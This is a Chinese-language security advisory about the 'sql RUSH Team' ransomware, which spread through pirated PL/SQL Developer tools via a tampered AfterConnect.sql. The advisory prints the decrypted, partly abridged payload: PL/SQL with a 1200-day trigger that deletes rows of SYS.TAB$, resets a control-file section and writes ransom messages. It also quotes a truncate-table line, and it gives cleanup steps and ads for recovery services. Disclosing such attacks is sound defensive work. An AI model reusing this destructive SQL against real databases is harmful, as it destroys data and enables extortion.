风险从来都不是臆想和草木皆兵，就在你不经意的时刻，可能风险就突然降临到我们的身边。
近期，国内很多用户的 Oracle 数据库，突然遭遇到莫名其妙的攻击事件，大家种种猜测、揣摩、重试，引发了一次小小的数据恐慌。
在注意到这类安全事件之后，我们第一时间投入分析、采集，最后找出了问题的根源，昨天已经发出了全面的预警和警示，今天再次详述该类问题，与 Oracle 的用户们共为警醒。
最近问题的主要原因是某些用户下载了来源不明的数据库管理工具，导致数据库被感染。我们强烈推荐大家提高版权意识，购买正版软件，远离风险，从规范做起。
问题症状：
很多用户在录数据库时发现该问题，数据库应用弹出"锁死"提示，并且威胁说需要向黑客发送5个比特币方可获得解锁。
在客户端，你可能获得类似的提示信息：
在数据库受攻击之后，在数据库的告警日志中，可能充斥如下信息：
ORA-00604: error occurred at recursive sql level 1
ORA-20315: 你的数据库已被sql RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致) 之后把你的Oracle SID邮寄地址 sqlrush@mail.com我们将让你知道如何解锁你的数据库
Hi buddy,your database was hacked by sql RUSH Team,send 5 bitcoin to address 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (case sensitive),after that send your Oracle SID to mail address sqlrush@mail.com,we will let you know how to unlock your database.
ORA-06512: at “XXX.DBMS_CORE_INTERNAL ",line 27
ORA-06512: at line 2
这里无非是一些警示和勒索，但是这儿 sql RUSH Team，引发了大家的猜测，sqlrush @ mail.com,这个地址 和 id 引发了对于始作俑者的猜测，当然事实不得而知。
问题原因：
我们通过有限的案例，详细分析了问题的原因和感染过程，在此披露出来，给 Oracle 的用户们作为参考。
注意：当一个问题研究清楚之后，就不再会产生恐惧，恐惧来自于未知，在没有遭到原因之前，大家的各种猜测导致问题扩大化，现在可以回到问题的本质上来了。
问题的根本原因是：如果用户从互联网上下载了盗版的 PL/sql Developer 工具后（尤其是各种绿色版、破解版），就可能因为这个工具中招。所以这个问题和 Oracle 本身关系不大，也没有注入那么复杂。而是随着你使用这个工具，用户的权限就自然被附体的进行了入侵。
重要的问题要说三遍：盗版软件害人！
PL/sql Developer 在中国的流行程度和盗版程度毋庸置疑。这个软件的安装目录存在一个脚本文件 AfterConnect.sql，这个脚本就是真正的问题所在。
正版软件安装，这个脚本文件是空文件，但是被注入的文件包含了一系列的JOB定义、存储过程和触发器定义，就是祸患的源头。
受感染文件 - AfterConnect.sql 开头是这样的，伪装成一个 login.sql 的脚本内容，有清晰的注释代码：
实质内容，以加密方式展示，用户看不到内容，但是可以通过 unwrap 进行解密（但是注意那些解密程序不要存在恶意代码）：
无疑，黑客是非常了解 Oracle 数据库的，其脚本代码的核心部分，解密后如下（做了删节，不要害人）：
BEGIN
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system as select * from sys.tab$';
DELETE SYS.TAB$ WHERE DATAOBJ# IN (SELECT DATAOBJ# FROM SYS.OBJ$ WHERE OWNER# NOT IN (0,38)) ;
COMMIT;
EXECUTE IMMEDIATE 'alter system checkpoint';
SYS.DBMS_BACKUP_RESTORE.RESETCFILESECTION(14);
FOR I IN 1..2046 LOOP
DBMS_SYSTEM.KSDWRT(2,'Hi buddy,we will let you know how to unlock your database.');
DBMS_SYSTEM.KSDWRT(2,'你的数据库已被sql RUSH Team锁死 发送5个比特币到这个地址 166xk1FXMB2g8JxBVF5T4Aw1Z5aZ6vSE (大小写一致) 之后把你的Oracle SID邮寄地址sqlrush@mail.com 我们将让你知道如何解锁你的数据库 ');
END LOOP;
END IF;
END;
请注意黑客的专业性，在程序的开端有以下部分判断：
SELECT NVL(TO_CHAR(SYSDATE-CREATED ),0) INTO DATE1 FROM V$DATABASE;
IF (DATE1>=1200) THEN
也就是，判断数据库创建时间大于1200天，才开始动作（这个判断相当有见地，小库和新库，数据少不重要，先放长线钓大鱼），如果你的数据库还没有爆发，那可能是因为时间还没有到。
我们强烈建议用户检查数据库工具的使用情况，避免使用来历不明的工具产品。
我们强烈建议：采用正版软件，规避未知风险。
安全漏洞：
我们知道，几乎绝大多数数据库的客户端工具，在访问数据库时，都可以通过脚本进行一定的功能定义，而这些脚本往往就是安全问题的漏洞之一。本例的攻击手段非常初级，但是也非常巧妙。
下载来源不明、汉化来历不明、破解来历不明的工具是数据库管理大忌，以下列出了常见客户端工具的脚本位置，需要引起注意：
sql*Plus: glogin.sql / login.sql
TOAD : toad.ini
我们强烈建议用户加强数据库的权限管控、生产环境和测试环境隔离，严格管控开发和运维工具。
处置建议：
这个攻击是通过 JOB、触发器、存储过程 来协同工具的，所以如果数据库遭遇到这个问题，可以将 JOB 参数 job_queue_processes 设置为 0 ，屏蔽掉 JOB 的执行，然后重启数据库。可以清除注入对象，这些对象可能包括以下同名触发器和存储过程：
PROCEDURE "DBMS_CORE_INTERNAL "
PROCEDURE "DBMS_SYSTEM_INTERNAL "
PROCEDURE "DBMS_SUPPORT_INTERNAL "
STAT:='truncate table '||USER||'.'||I.TABLE_NAME;
如果您的数据库已经遭受攻击和数据损失，可以紧急联系云和恩墨的服务团队，我们可以帮助您处理数据修复事宜。云和恩墨久经考验的ODU产品，可以在数据丢失后最大限度的恢复数据。云和恩墨的自动化巡检工具：Bethune（白求恩），内置一项检查，访问来源、访问工具分析，可以帮助用户梳理清楚你的数据库使用情况。别犹豫，去 https://bethune.enmotech.com 看看，不收钱。
事件回顾：
